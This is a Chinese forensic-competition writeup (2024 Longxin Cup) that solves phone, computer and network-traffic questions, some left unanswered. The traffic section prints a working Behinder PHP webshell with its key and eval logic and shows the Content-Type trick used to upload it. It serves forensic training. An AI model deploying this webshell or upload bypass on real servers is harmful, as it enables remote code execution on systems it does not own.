第二届 龙信杯 电子数据取证竞赛部分Writeup

news2024/10/12 14:09:32

大佬文章: 

龙信杯复现(23、24) | Bthcls'Blog

手机部分

资料:2024年第二届龙信杯 WP_2024龙信杯wp-CSDN博客

1.分析手机检材,请问此手机共通过adb连接过几个设备?[标准格式:3]    2

/data/adb/magisk.db其实是magisk APP的数据库,而policies表是APP用来根据包名,用户id决定策略的。

Magisk的policies表位于/data/adb/magisk.db数据库中,主要用于存储Magisk模块的配置信息。

Android 设备在通过 ADB 连接时,通常会要求用户授权连接,会要求用户确认设备授权,并将该设备的公钥保存在 adb_keys 文件中。该文件保存在/data/misc/adb/adb_keys

如果要查看ADB的相关配置,可以在/misc/adb/中找到,在此文件夹中包含adb_temp_keys.xml,其中存储了ADB 密钥,那么受害人手机上包含了2条密钥,因此连接过2台设备 

2.分析手机检材,机主参加考试的时间是什么时候?[标准格式:2024-06-17]    2024-08-23

在便签中可以直接找到8月12日说下周五考试,下周五是8月23日

3.分析手机检材,请问手机的蓝牙Mac地址是多少?[标准格式:12:12:12:12:12:12]       48:87:59:76:21:0f

蓝牙Mac地址存在于misc_1/bluedroid/bt_config.conf

4. 分析手机检材,请问压缩包加密软件共加密过几份文件?[标准格式:3]     6

这道题如果用的火眼,记得分析耗时任务中的特征分析

在搜索记录中能够发现filecompress,知道其包名为com.zs.filecompress,全局搜索后在media_425/0/FileCompress下发现压缩包(名字.txt,实际是压缩包)

 5.分析手机检材,请问机主的另外一个155的手机号码是多少?[标准格式:15555000555]

15599555555

/app/~~_jzJxEiovvVW2OdDRNs_dw==/com.zs.filecompress-rGjcoW-RV_xJmIwAD522NA==下找到apk文件

上面导出apk文件后,查看该apk文件的manifest,找到入口为MainActivity,找到压缩密码为1!8Da9Re5it2b3a.

这里使用到雷电手机取证工具

对第四题的6个压缩包解密即可,在mm.txt中找到另一个电话

 6.分析手机检材,其手机存在一个加密容器,请问其容器密码是多少。(标准格式:abc123)

d7Avsd!Y]u}J8i(1bnDD@<-o

 接上一个题可得

7.分析手机检材,接上问,其容器中存在一份成员名单,嫌疑人曾经误触导致表格中的一个成员姓名被错误修改,请确认这个成员的原始正确姓名?[标准格式:张三]

既然上题知道了容器密码,那么现在去找容器,在

受害人手机检材.tar/media_425/0/Download/data 中发现容器,但是并不是简单的vc容器挂载,而是tc加密

资料:

【常见加密容器的取证方法】

使用tc进行挂载,发现成功

 使用大佬脚本

import pandas as pd
file_path = '名单数据.xlsx'
df = pd.read_excel(file_path)
phone_to_name = {}

for name, phone, inviter, inviter_phone in zip(df['姓名'], df['手机号'], df['邀请人'], df['邀请人手机号']):
    if phone not in phone_to_name:
        phone_to_name[phone] = name
    elif phone_to_name[phone] != name:
        print(f"警告:手机号 {phone} 对应了多个不同的姓名:{phone_to_name[phone]} 和 {name}")

    if inviter_phone not in phone_to_name:
        phone_to_name[inviter_phone] = inviter
    elif phone_to_name[inviter_phone] != inviter:
        print(f"警告:手机号 {inviter_phone} 对应了多个不同的邀请人:{phone_to_name[inviter_phone]} 和 {inviter}")
#警告:手机号 15979503550 对应了多个不同的姓名:陆陆 和 陆俊梅

8.分析手机检材,接上题,请确认该成员的对应的最高代理人是谁(不考虑总部)?[标准格式:张三]

刘珏兰

手动筛选xlsx表格,可以得出上级关系是:陆俊梅-->肖玉莲-->刘珏兰-->总部

 

9.分析手机检材,请确认在该组织中,最高层级的层次是多少?(从总部开始算第一级)[标准格式:10]    12

10.分析手机检材,请问第二层级(从总部开始算第一级)人员最多的人是多少人?[标准格式:100]

11.分析手机检材,机主共开启了几款APP应用分身?[标准格式:3]   2

12.分析手机检材,请问机主现在安装了几款即时通讯软件(微博除外)?[标准格式:1]   2 

13.分析手机检材,请问勒索机主的账号是多少(非微信ID)?[标准格式:AB123CD45]

1836042664454131712

14.分析手机检材,接上问,请问机主通过此应用共删除了多少条聊天记录 ?[标准格式:2]  1

15.分析手机检材,请问会盗取手机信息的APP应用包名是什么?[标准格式:com.lx.tt]

com.lxlxlx.luoliao

在微信聊天记录中,能够发现盗取手机信息的APP

使用雷电打开

16. 接上题,请问该软件作者预留的座机号码是多少?[标准格式:40088855555]

40085222666

发现可疑的编码 

继续跟进,发现存在AES解加密

 既然是AES就要寻找key,在可疑 的编码这里找到key

key是E10ADC3949BA59ABBE56E057F20F883E,iv是其前16位,即E10ADC3949BA59AB

将可疑的编码进行解密

17.接上题,恶意程序偷取数据的收件邮箱地址的gmail邮箱是多少?[标准格式:lx@gmail.com]

1304567895@gmail.com 

雷电直接分析出邮箱

可以解密得出

18.接上题,恶意程序偷取数据的发件邮箱地址是多少?[标准格式:lx@gmail.com]

temp1234@gmail.com

smtp常用来发送邮件

进行解密

19.接上题,恶意程序偷取数据的发件邮箱密码是多少?[标准格式:abc123]    qwer123456

20.接上题,恶意程序定义收发件的地址函数是什么?[标准格式:a]   a

以下这段代码是一个用于配置和发送电子邮件的Java类的一部分,它使用自定义的加密/解码方法和外部库来安全地处理敏感信息,并通过SMTP协议发送邮件。 

计算机部分

在火眼中可以发现电脑的用户信息,登录密码,注意,这里的密码在重置时不要修改 

在火眼中还发现,存在加密文件

计算机取证用到了仿真软件

1.分析计算机检材,嫌疑人在将其侵公数据出售前在Pycharm中进行了AES加密,用于加密的key是多少?[标准格式:1A23456ABCD]

65B2564BG89F16G9

2.分析计算机检材,身份证为"371963195112051505"这个人的手机号码是多少?[标准格式:13013524420]

15075547510

通过已知条件,可知存在加密的文件,使用ai生成解密脚本

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def aes_decrypt(encrypted_data, key, iv):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size)
    return decrypted_data.decode()

key = b'65B2564BG89F16G9'
iv = b'83E6CBEF547944CF'

input_file = "encrypted_data.txt"
output_file = "decrypted_data.txt"

def process_decrypted_data(input_file, output_file, key, iv):
    with open(input_file, "r") as f_in, open(output_file, "w") as f_out:
        for line in f_in:
            parts = line.strip().split(',')
            index = parts[0]
            f_out.write(index + ",")

            decrypted_parts = []
            for part in parts[1:]:
                encrypted_part = bytes.fromhex(part)
                decrypted_part = aes_decrypt(encrypted_part, key, iv)
                decrypted_parts.append(decrypted_part)

            f_out.write(",".join(decrypted_parts) + "\n")

process_decrypted_data(input_file, output_file, key, iv)

print("解密完成。")

 解密完成之后,找到对应的电话号码

3.分析计算机检材,对解密后的身份证数据列进行单列去重操作,重复的身份证号码数量是多少?(身份证不甄别真假)[标准格式:100]   0

使用脚本,发现数量为0

# 打开文件并读取所有行
with open('decrypted_data.txt', 'r') as file:
    lines = file.readlines()
 
# 去除每行开头和结尾的空白字符
id_cards = [line.strip() for line in lines]
 
# 使用collections模块的Counter类来统计每个身份证号出现的次数
from collections import Counter
counter = Counter(id_cards)
 
# 计算重复的身份证号数量
duplicate_count = sum(count for count in counter.values() if count > 1)
 
print(f"身份证重复数量: {duplicate_count}")

>>>身份证重复数量: 0

4.分析计算机检材,接上题,根据身份证号码(第17位)分析性别,男性的数据是多少条?[标准格式:100]

工具使用方法:Navicat Premium基本使用教程-CSDN博客

 5001714

5.分析计算机检材,接上题,对解密后的数据文件进行分析,甄别身份证号码性别值与标识性别不一致的数量是多少?[标准格式:100]

5001185

6.分析计算机检材,计算机中存在的“VPN”工具版本是多少?[标准格式:1.1]   4.4

找软件WinXray

7.分析计算机检材,计算机中存在的“VPN”节点订阅地址是什么?[标准格式:http://xxx.xx/x/xxx] 

https://paste.ee/d/4eIzU

8.分析计算机检材,eduwcry压缩包文件的解压密码是什么?[标准格式:abcabc]  yasuomima

在下载中压缩包,并发现密码管理器中的密码

9.分析计算机检材,接上题,请问恶意程序释放压缩包的md5值是多少。[标准格式:全小写]

2024龙信杯wannacry勒索病毒题目分析_wannacry修改壁纸的函数-CSDN博客

10.分析计算机检材,接上题,请问恶意程序记录的洋葱浏览器下载地址是多少?[标准格式:http://xxx.xxx/xxx/xxx.zip]

注意:这里需要关闭防火墙的相关软件软件

然后在c.wnry中找到了。

11.分析计算机检材,接上题,请问恶意程序解密了t.wnry后该dll的md5值是多少。[标准格式:全小写]

12 分析计算机检材,接上题,恶意程序运行起来后第一个循环调用了几次taskkill.exe。[标准格式:2]
13 分析计算机检材,接上题,请问@WanaDecryptor@.exe.lnk文件是通过什么函数创建的。[标准格式:Aabcdef]
14 分析计算机检材,接上题,恶意程序修改系统桌面壁纸是在哪个函数实现的[标准格式:sub_xxx]

15.分析计算机检材,VeraCrypt加密容器的密码是什么?[标准格式:abc]

16.分析计算机检材,其中存在一个苹果手机备份包,手机备份包的密码是什么?[标准格式:12345]

75966

挂载data-backup,成功之后,即可得到一个苹果手机的备份包。

在浏览记录中发现用户搜索过如何解密5位数字密码的苹果备份

火眼中发现有密码

使用passware kit爆破密码

17. 分析计算机检材,接上题,机主实际篡改多少条微信数据?[标准格式:1]       3

18. 分析计算机检材,接上题,机主共存款了多少金额?[标准格式:10万]

在火眼的分析中,发现SQLite文件,里面的message有关键信息

19.分析计算机检材,在手机模拟器中勒索apk软件的sha256值是什么?[标准格式:全小写]

340bd211955996c5d62bbde94a0bed4eb3a7965b23af52114991bca02346928e

20.分析计算机检材,接上题,请问勒索apk软件的解锁密码是什么?[标准格式:qwer.com]

anzhuo.com

流量分析 

参考大佬文件:

http://t.csdnimg.cn/l0jVH

1.分析流量包检材,给出管理员对web环境进行管理的工具名。(标准格式:小皮)宝塔

服务器IP为192.168.209.147。然后分析一下服务器的流量,发现了DNS信息,这边服务器主动请求了宝塔服务器。有其DNS解析记录,所以管理工具应该就是宝塔面板。

2.分析流量包检材,给出攻击者的ip地址是多少。(标准格式:127.0.0.1)

使用http contains "pwd"筛选出所有HTTP请求或响应中包含字符串"pwd"的数据包,有效地监控和分析网络中的敏感操作,确保网络安全,从里面可以看出攻击的ip地址

3.分析流量包检材,给出攻击者爆破出的网站非管理员用户名是。(标准格式:admin)

4.分析流量包检材,攻击者进行目录扫描得到的具有后门的页面url路径为。(标准格式:/abc.html)          /up_load.html

http.request.uri matches "/*.html".

 

5.分析流量包检材,攻击者通过修改请求包中的哪个字段导致恶意文件成功上传。(标准格式:test-type)Content-Type

看到这里失败了

过滤看一下有关流量,http.request.uri matches “/up_load.php”

这里是上传成功的

对比能够发现,修改为Content-Type: image/jpeg能上传php和jpeg,因此修改的字段就是Content-Type

 6.分析流量包检材,攻击者上传成功的恶意文件, 该文件的临时存放路径是。(标准格式:/abc/edf)/tmp/php38mbeJ

webshell在/uploaded_img/cont.php

7.分析流量包检材,服务器php配置文件的存放位置。 [标准格式:/www/sev/php.ini]

/www/server/php/82/etc/php.ini

 由木马内容可知AES128加密

追踪木马文件流,尝试以后,进行解密,最后在第127个流追到了对应的命令。

以下是冰蝎马

冰蝎:冰蝎3.0流量包简单分析_冰蝎3.0解密-CSDN博客

工具:Webshell 流量在线解密 

<?php
@error_reporting(0);
session_start();
//这行代码尝试将PHP的错误报告级别设置为0,即关闭所有错误报告。@符号是PHP中的错误控制运算符,用于抑制错误消息的显示。然而,这种做法在生产环境中通常不是最佳实践,因为它可能隐藏了重要的问题。
	$key="e45e329feb5d925b";
	$_SESSION['k']=$key;
	session_write_close();
//这里定义了一个密钥$key,并将其存储在会话变量$_SESSION['k']中。这可能是为了后续操作中使用这个密钥,尽管在当前脚本中未直接使用会话中的密钥。session_write_close();:写入会话数据并关闭会话文件。这通常用于在脚本中尽早关闭会话,以便其他脚本或页面可以读取或写入会话数据。
	$post=file_get_contents("php://input");//使用file_get_contents("php://input")读取原始POST数据。这对于处理非表单编码的POST请求(如JSON或XML)特别有用。
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
//接下来,根据是否加载了openssl扩展,以不同的方式解密POST数据:
    如果未加载openssl扩展,则使用简单的XOR加密与$key进行解密。注意这里使用了字符串的索引来访问字符,并通过$i+1&15确保索引在$key的长度范围内循环。
    如果加载了openssl扩展,则使用AES-128算法解密POST数据。然而,这里的实现存在一些问题:AES解密需要密钥、初始化向量(IV)和适当的模式(如CBC、ECB等),但这里只提供了密钥,没有提到IV和模式。
   $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
//解密后的数据被假设为函数名|参数的格式,通过explode('|', $post)分割成数组。
定义一个匿名类C,它实现了__invoke魔术方法。这意味着C的实例可以作为函数被调用,实际上执行的是eval($p);,其中$p是传递给__invoke方法的参数。
使用@call_user_func(new C(), $params);动态调用C的实例,并传入$params作为参数。
?>

根据以上继续进行解密,在20294流中得到对于的内容

接下来,解密内容(也在20294流中),发现数据库的密码

解密20294流中另一个base64,$path="L3d3dy93d3dyb290LzE5Mi4xNjguMjA5LjE0Nw==得到以下内容

  通过分析流量可知,配置存储文件在流127之前,通过筛选找到这个

/www/server/php/82/etc/php.ini

8.分析流量包检材,被攻击的web环境其数据库密码是。 [标准格式:qwer1234]

在上题中发现数据库的密码

X847Z3QzF1a6MHjR

9.分析流量包检材,服务器管理存放临时登录密码的位置。 [标准格式:/tmp/pass]

在29854流中发现相关信息,/tmp/tmppass 

10.分析流量包检材,黑客获取的高权限主机的登录密码。 [标准格式:qwer1234] 

passwd!@#

接上题,在一样的流中发现

服务器部分

1. 分析服务器检材,服务器会做登录密码验证,该登录验证文件位置在?[标准格式:/xxx/xxx/xxx.xxx]

2.分析服务器检材,服务器ssh端口是多少?[标准格式:1234]

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2208093.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于Java SpringBoot和Vue校园新闻论坛管理系统设计

摘要 本系统采用Java Spring Boot作为后端框架&#xff0c;前端使用Vue.js构建用户界面&#xff0c;旨在为校园新闻论坛提供一个高效、易用且功能全面的管理平台。通过整合SpringBoot的快速开发优势与Vue的响应式设计&#xff0c;实现了一个包含用户注册登录、新闻发布审核、评…

Rust编程的泛型

【图书介绍】《Rust编程与项目实战》-CSDN博客 《Rust编程与项目实战》(朱文伟&#xff0c;李建英)【摘要 书评 试读】- 京东图书 (jd.com) Rust编程与项目实战_夏天又到了的博客-CSDN博客 7.6.1 什么是泛型编程 C/C、Rust都是强类型语言&#xff0c;在对数据进行处理时&a…

详解前端开发都需要掌握的十个 JavaScript 基本数组函数

假设你正在开发一个复杂的 Web 项目。你的数据来自许多 API&#xff0c;你的工作是高效地处理、过滤和分析这些数据。你的时间很紧张&#xff0c;所以每一行代码都很重要。 这时学习高级 JavaScript 数组方法就会对你有所帮助。 这些函数不仅可以减少代码量&#xff0c;还可以…

C语言—双链表

一、双向链表的结构 注意&#xff1a;这⾥的“带头”跟前⾯我们说的“头节点”是两个概念&#xff0c;实际前⾯在单链表阶段称呼不严谨&#xff0c;带头链表⾥的头节点&#xff0c;实际为“哨兵位”&#xff0c;哨兵位节点不存储任何有效元素&#xff0c;只是站在这⾥“放哨的”…

desmos和webgl绘制线条

目录 desmos绘制 webgl绘制 将线段坐标生成三角化坐标 处理斜接线段 处理圆角 尖角 先在desmos上面完成线条lineJoin绘制的,再将代码和公式转到js用webgl绘制. desmos绘制 示例 desmos计角斜接角时&#xff0c;需要用到的一些函数。在desmos定义成公共函数&#xff0c…

[含文档+PPT+源码等]精品基于springboot实现的原生Andriod心理健康辅导平台

基于Spring Boot实现的原生Android心理健康辅导平台&#xff0c;其背景可以从以下几个方面进行详细阐述&#xff1a; 一、技术背景 Spring Boot框架&#xff1a;Spring Boot是Spring框架的一个子集&#xff0c;它通过自动配置、简化依赖管理、内嵌容器等特性&#xff0c;极大…

登录前端笔记(一):pinia管理用户数据

一、把pinia加入到项目文件里 ①、npm install pinia ②mian.ts //①导入createPinia import { createPinia } from pinia //②执行方法得到实例 const pinia createPinia() //③把pinia实例加入到APP应用里 app.use(pinia)二、官网简单实例&#xff08;定义store【state与ac…

Stylized Far East 古代国风建筑城镇宫殿场景模型

古代国风建筑城镇宫殿场景模型。内容: -演示场景(截图) - 种类繁多的建筑,如宫殿、商店、神社、房屋、餐馆、宝塔、寺庙等 -带有塔楼、门楼的模块化城堡墙 -树木、岩石、悬崖和其他自然资产 -传统装饰,如纸灯笼、绘画、瓷器等 - 城镇道具,如手推车、栅栏、板条箱、市场、…

Redis-缓存一致性

缓存双写一致性 更新策略探讨 面试题 缓存设计要求 缓存分类&#xff1a; 只读缓存&#xff1a;&#xff08;脚本批量写入&#xff0c;canal 等&#xff09;读写缓存 同步直写&#xff1a;vip数据等即时数据异步缓写&#xff1a;允许延时&#xff08;仓库&#xff0c;物流&a…

el-carousel-item自动重复渲染,使用nanoid让重复的元素包含不同的id

<template><div class"page-container"><div class"m-title">轮播图</div><el-carousel height"400px" :autoplay"true"><el-carousel-item v-for"(item, index) in carouselList" :key&…

AOT漫谈专题(第二篇): 如何对C# AOT轻量级APM监控

一&#xff1a;背景 1. 讲故事 上一篇我们聊到了如何调试.NET Native AOT 程序&#xff0c;这是研究一个未知领域知识的入口&#xff0c;这篇我们再来看下如何对 Native AOT 程序进行轻量级的APM监控&#xff0c;当然这里的轻量级更多的是对 AOT 中的coreclr内容的挖掘。 二…

面试官最喜欢问的28道ZooKeeper面试题

前言 ZooKeeper 是一个分布式的&#xff0c;开放源码的分布式应用程序协调服务。它是一个为分布式应用提供一致性服务的软件&#xff0c;提供的功能包括&#xff1a;配置维护、域名服务、分布式同步、组服务等。 ZooKeeper 的目标就是封装好复杂易出错的关键服务&#xff0c;…

再也不怕面试官问我几百亿ip相关的问题了

首先要明确这一类的问题都是海量那个数据类型的问题&#xff0c;对于海量数据我们一般采用分而治之的思路去解决&#xff0c;考官考察的就是你有没有处理海量数据的经验。总结几个常见的海量数据相关的面试&#xff0c;供参考。 有一个存放10GB的ip地址文件&#xff0c;每行一…

2024年【安全生产监管人员】免费试题及安全生产监管人员模拟试题

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 2024年安全生产监管人员免费试题为正在备考安全生产监管人员操作证的学员准备的理论考试专题&#xff0c;每个月更新的安全生产监管人员模拟试题祝您顺利通过安全生产监管人员考试。 1、【单选题】()以上地方人民政府…

基于SSM的民宿预订系统的设计与实现

文未可获取一份本项目的java源码和数据库参考。 一、毕业设计&#xff08;论文&#xff09;选题的目的和意义 由于现代人经济水平的不断提高&#xff0c;出门旅游已经成为人们放松和休息的一种生活方式。而出门在外&#xff0c;住宿也是首要问题&#xff0c;相比于传统的酒店…

五子棋项目自动化测试

目录 一、五子棋项目介绍 二、编写Web测试用例 三、自动化测试脚本开发 1、引入依赖 2、设计框架 3、Utils 4、LoginPage 5、RegisterPage 6、MatchPage 7、RunTest类 8、运行程序 一、五子棋项目介绍 五子棋项目是基于 WebSocket 实现的多人在线对战系统&#xff0…

【优选算法】(第三十六篇)

目录 ⼆叉树的锯⻮形层序遍历&#xff08;medium&#xff09; 题目解析 讲解算法原理 编写代码 ⼆叉树的最⼤宽度&#xff08;medium&#xff09; 题目解析 讲解算法原理 编写代码 ⼆叉树的锯⻮形层序遍历&#xff08;medium&#xff09; 题目解析 1.题目链接&#xf…

【高中生讲机器学习】21. 隐马尔可夫模型好难?看过来!(下篇)

创建时间&#xff1a;2024-10-09 首发时间&#xff1a;2024-10-12 最后编辑时间&#xff1a;2024-10-12 作者&#xff1a;Geeker_LStar 你好呀~这里是 Geeker_LStar 的人工智能学习专栏&#xff0c;很高兴遇见你~ 我是 Geeker_LStar&#xff0c;一名高一学生&#xff0c;热爱计…

SpringBoot购物推荐网站:设计与实现的最佳实践

2相关技术 2.1 MYSQL数据库 MySQL是一个真正的多用户、多线程SQL数据库服务器。 是基于SQL的客户/服务器模式的关系数据库管理系统&#xff0c;它的有点有有功能强大、使用简单、管理方便、安全可靠性高、运行速度快、多线程、跨平台性、完全网络化、稳定性等&#xff0c;非常适…

『深度分析』Kimi版o1来了!Kimi探索版全面解读!

大家好&#xff0c;我是木易&#xff0c;一个持续关注AI领域的互联网技术产品经理&#xff0c;国内Top2本科&#xff0c;美国Top10 CS研究生&#xff0c;MBA。我坚信AI是普通人变强的“外挂”&#xff0c;专注于分享AI全维度知识&#xff0c;包括但不限于AI科普&#xff0c;AI工…